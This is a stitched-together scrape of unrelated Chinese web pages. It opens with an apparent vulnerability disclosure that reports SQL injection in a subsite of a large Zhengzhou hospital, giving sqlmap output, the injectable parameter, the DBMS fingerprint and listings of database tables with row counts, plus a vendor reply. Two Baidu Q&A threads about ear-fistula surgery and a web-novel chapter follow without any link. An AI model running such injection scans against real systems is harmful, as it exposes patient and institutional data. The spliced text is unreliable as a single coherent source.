分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
“全球最大医院”也有漏洞，数十万信息侧漏
详细说明：
看微信推送的新闻，郑州大学第一附属医院，被媒体称为全球最大医院，于是，感兴趣看看有没有漏洞，哇 还真有
主站找了半天没有什么大进展，看看分站，哇 注入
code 区域http://**.**.**.**/xkjs/show.asp?bh=363
code 区域[*] starting at 23:12:12
[23:12:12] [INFO] resuming back-end DBMS 'microsoft access'
[23:12:12] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
Parameter: bh (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: bh=1408 AND
[23:12:14] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
然后就是大量数据啊
code 区域Database: iofficebak
+--------------------------------------+---------+
| Table | Entries |
+--------------------------------------+---------+
| dbo.ifBbsRead | 869278 |
| dbo.jj_z_date | 652840 |
| dbo.gz_t_date | 217667 |
| dbo.jj_z_hz | 127580 |
| dbo.yzb_z_date | 87569 |
| dbo.gz_xg_lsjl | 83942 |
| dbo.fmDocCtl | 63864 |
code 区域Database: qdslyy
+--------------------------------------+---------+
| Table | Entries |
+--------------------------------------+---------+
| dbo.lfsjmx | 1703260 |
| dbo.lfmx | 545935 |
| dbo.fkdbz1 | 16350 |
| dbo.fkdbz1 | 16350 |
| dbo.gs_gr_xc | 15972 |
| dbo.lffzjl | 9057 |
| dbo.gs_sw_dj | 7346 |
| dbo.gs_zj_tp_image | 5270 |
“全球最大医院”也要注意完全呀
漏洞证明：
修复方案：
过滤 预编译
版权声明：转载请注明来源 @
厂商回应：
危害等级：中
漏洞Rank：9
确认时间： 13:42
厂商回复：
CNVD确认并复现所述情况，已经由CNVD通过网站公开联系方式（或以往建立的处置渠道）向网站管理单位（软件生产厂商）通报。
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
登录后才能发表评论，请先广东省人民医院(中山二路总院) 和中山大学附属第一医院(中山二路本部)，哪个做耳前瘘管摘除手术好一点呢？_百度知道
广东省人民医院(中山二路总院) 和中山大学附属第一医院(中山二路本部)，哪个做耳前瘘管摘除手术好一点呢？
应该如何做呢？我们学校校医室的医生说到外面的医院做手术的费用是直接在医院里面按医保折扣的，是不用报销的我是仲恺农业工程学院的学生，我是买学校的医保的，如果我要报销手术费用的话
我有更好的答案
百度知道提示您：该问题下回答为网友贡献，仅供参考。
我也是仲恺的。不过我也不知道具体情况。要不你到仲恺在线上发个帖子问问，只是记得管理制度汇编上说省人民医院是我们学校的挂钩医院同学你什么病啊
向医生提问
完善患者资料：*性别：
其他类似问题
为您推荐：
中山大学附属第一医院的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁儿子5岁9个月，医生查看说是耳前瘘管，请问在湘潭地区做耳科痿管手术哪个医院的医生最有经验了？_百度知道
儿子5岁9个月，医生查看说是耳前瘘管，请问在湘潭地区做耳科痿管手术哪个医院的医生最有经验了？
您的回答被采纳后将获得：
系统奖励20（财富值+经验值）+难题奖励20（财富值+经验值）
我有更好的答案
百度知道提示您：该问题下回答为网友贡献，仅供参考。
向医生提问
完善患者资料：*性别：
其他类似问题
为您推荐：
耳前瘘管的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁2货儿子腹黑小娘亲- 【大闹御医院】霸气侧漏的皇家仪仗队【6】TXT下载-笔下文学
&&&&&&&&小窍门：按← →键可快速翻到上下章节
【大闹御医院】霸气侧漏的皇家仪仗队【6】
&&&&“云飞，你不在宫里陪着母妃，跑这儿来做什么？”一直隔岸观火的二公主慕容瑶，眼瞧着慕容云几乎木有任何胜算，不得不出来打个圆场。&&&&一向城府极深的二弟，只要一遇见母妃和那个女人的事，就立刻血往脑子里涌，把个精明能干的脑子，冲成一团浆糊。&&&&慕容瑶施施然的走到了慕容云飞的身边，她也不过是五阶蓝灵，自然是斗不过紫灵的。&&&&不过，只要她在了，那个躲在暗处的暗夜流光，就木有办法袖手旁观，这点自信她还是有的。&&&&“有什么，找个地儿说，大庭广众的，丢不丢脸！”走到了慕容云飞的身边，她二姐的霸气立刻侧漏，对着众人说道，清亮的声音，带着几分上位者的威严。&&&&可惜了，这儿个个都是霸气侧漏的家伙，木有人听进去她的话，全部无视，将她当成了一团空气。&&&&钟小蝎推开了十一，走上前来，脸色平淡，瞧不出半分悲喜。她淡淡开口，木有慕容云飞的怒火滔天，也木有慕容瑶的霸气威武，普通的好似这街上围观的群众，“慕容云飞，拜托你好好用用你肩膀上的玩意儿思考思考，我若是要害你母妃，我又何必千辛万苦的将她救活。退一万步讲，我救你母妃，你母妃看重我，把我当自己人，对我们娘俩，有千利而无一弊。若是如你所说，我害的你母妃病入膏肓，请你给我一个理由！”她语气平淡的毫无起伏，只是在陈述一件虽都能明白的事实，那一双透亮的眸子，瞧着慕容云飞，一副，你很蠢的模样。&&&&“哼，你这个蛇蝎女人，害人还需要理由吗？”慕容云飞十分不齿的怒骂，怒火让他失去了一个皇子该有的风度。&&&&“云飞，凡事都讲证据，你无凭无据怎可随便冤枉人！”二公主慕容瑶，是个帮理不帮亲的人，见着慕容云飞如此没有风度的欺负一个不过二阶橙灵的女人，她那侠女风范又不小心冒了出来。瞬间忘记了，这二阶橙灵的女人身边，有一只极厉害的猛兽，还有两个七阶紫灵的男人护着。&&&&“皇姐，你怎么帮这种女人？你知道，她做的那些事吗？她连自己的亲兄妹，都不放过，还有什么事做不出来？再说，你又何必为这样的女人说话，不过是左招&一个野男人，右招一个野男人为她出头罢了。要不然以她的身世，以她的资质，有什么资格和我们大小声。”慕容云飞一双怒目瞪着钟小蝎，只恨不得在她身上瞪出两个洞来。&&&&一边的女人七嘴八舌：&&&&“就是，不过是一个水性扬花的，谁会看中这样的女人。”&&&&“不过人家勾引男人的本事还是强啊，手上拉着个，左右还站着两个，不服不行啊。”&&&&“呵，这有什么本事，不过是男人看着她便宜且容易罢了。这种裙带松的女人，也好意思出一显摆，除了勾引男人，她还有什么拿得出手的。”&&&&“呵，女人只要能在这方面放得开，那就是本事！我们谁不是规矩里喂大的，在家操持家务，可男人，却还是会喜欢这些不正经的，那也没办法啊！”&&&&“是啊，就算是心如毒蛇做尽坏事又如何，只要貌美如花就能得了男人的喜欢。”&&&&……&&&&虽然没有指名指姓，不过谁都知道这群人在骂谁。&&&&甚至于可以说站在公众道德标准上，她们说的也不完全是错。&&&&二皇子站在那里，白衣胜雪，实在好象是站在道德最高点上。&&&&莫瑾言未婚先孕，确实让她的一生陷入了极度痛苦的处境。而那个占了便宜就跑的男人！哼！眼睛看着那几个温温柔柔的妇人，用那种不屑的声音说着话，钟豆豆眼中都升出怒意。钟小蝎一低头，一手将他的肉包子手握住，无声的安慰着。&&&&=========我是卖萌求收藏，求金牌的分割线========&&&&“让开，让开。。。。。。”慕容姐弟俩争执间，忽然传来噪杂的声音，几人瞧着声音来的方向看去，却看到一行人浩浩荡荡的过来，带头骑着马儿的竟是西兰国的开国功臣颜子虚，紧随他身后的是御医院右院判欧阳复。&&&&身后十六人的大轿，富贵奢华。还有金灿灿，红彤彤的皇家仪仗队开路！&&&&两位大人，连同那敲锣打鼓的仪仗队，统统穿着红艳艳的，闪瞎了一众的钛合金狗眼。&&&&姐弟俩疑惑的瞧着笑的一脸菊花开的颜子虚，究竟是谁那么大的来头，父皇竟然派西兰国最有威望的人前来相迎。&&&&仪仗队，敲锣打鼓十分热闹的朝着他们走来，十一悄悄儿的说道，“福气速度够快的！”&&&&“什么意思？”钟小蝎母子莫名，这仪仗队走的方向，似乎正对着自己呀！十一整日里在西兰皇宫进进出出的，没必要这么夸张吧！&&&&“说豆宝是四哥的儿子呗！”十一几分吊儿郎当的说道，西兰王真是够了，人家堂堂十一皇子，整日进出他的皇宫，他怎么半点都不出来迎接呢！&&&&钟豆豆是不是四哥的儿子，还没准的，不过是捕风捉影的事儿，就这么大阵仗，比他西兰王迎娶皇后的阵仗还要大！&&&&我勒个去，咱们哥俩明明就是亲兄弟，需要这么差别对待吗？&&&&十一纠结，各种羡慕嫉妒恨。&&&&钟小蝎那平淡如水的一张脸，却几分扭曲。&&&&尼玛，福气这老头儿，要不要这么不靠谱？她这个当事人都还没承认的事儿，他竟然将消息直接传给了西兰王。西兰王知道了，还愁不知道的人会少吗？&&&&这回，当真是跳进大海，都洗不清了啊！魂淡！&&&&“娘亲，皇帝爷爷以为我是灵兽森林遇到的那个大叔的儿子吗？”钟豆豆懵懂纯净的眼神，瞧着那威风八面的仪仗队，糯糯的问道。&&&&做大叔的儿子，还有这种待遇？钟豆豆一颗小小的心，几分沸腾。&&&&“豆宝，你喜欢不？”钟小蝎见着钟豆豆满眼的欢欣，刚刚奔腾的怒火，瞬间偃旗息鼓。}